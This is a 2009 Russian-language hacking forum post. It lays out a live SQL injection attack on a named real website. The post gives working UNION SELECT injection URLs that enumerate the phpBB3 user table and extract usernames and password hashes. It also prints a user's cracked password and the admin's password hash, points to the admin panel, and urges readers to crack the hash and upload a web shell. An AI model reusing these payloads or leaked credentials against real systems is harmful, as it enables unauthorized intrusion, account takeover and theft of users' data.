Показать сообщение отдельно

  #5129  
Старый 29.01.2009, 05:53
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

Там есть форум phpbb3. можно поглумиться)) А можно и шелл залить:

Код:
http://www.sex.dp.ua/forum/

http://sex.dp.ua/details.php?id=-5202%20UNION%20SELECT%201,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+information_schema.columns+where+table_name=0x7068706262335F7573657273--

http://sex.dp.ua/details.php?id=-5202%20UNION%20SELECT%201,unhex(hex(concat(username,0x3a,user_password))),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+phpbb3_users+limit+2,1--

Сашок - 220778 (юзер с ID=3). 
http://sex.dp.ua/details.php?id=-5202%20UNION%20SELECT%201,unhex(hex(concat(user_type,0x3a,username,0x3a,user_password))),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+phpbb3_users+where+user_type=3+limit+0,1--

3:admin:$H$7mXvdxG0gVQriTbrzTiSoJAUtMUjEA/

админка здесь:

http://www.sex.dp.ua/forum/adm/

Расшифровывай хеш, заливай шелл

Последний раз редактировалось Pashkela; 29.01.2009 в 06:04..
 
Ответить с цитированием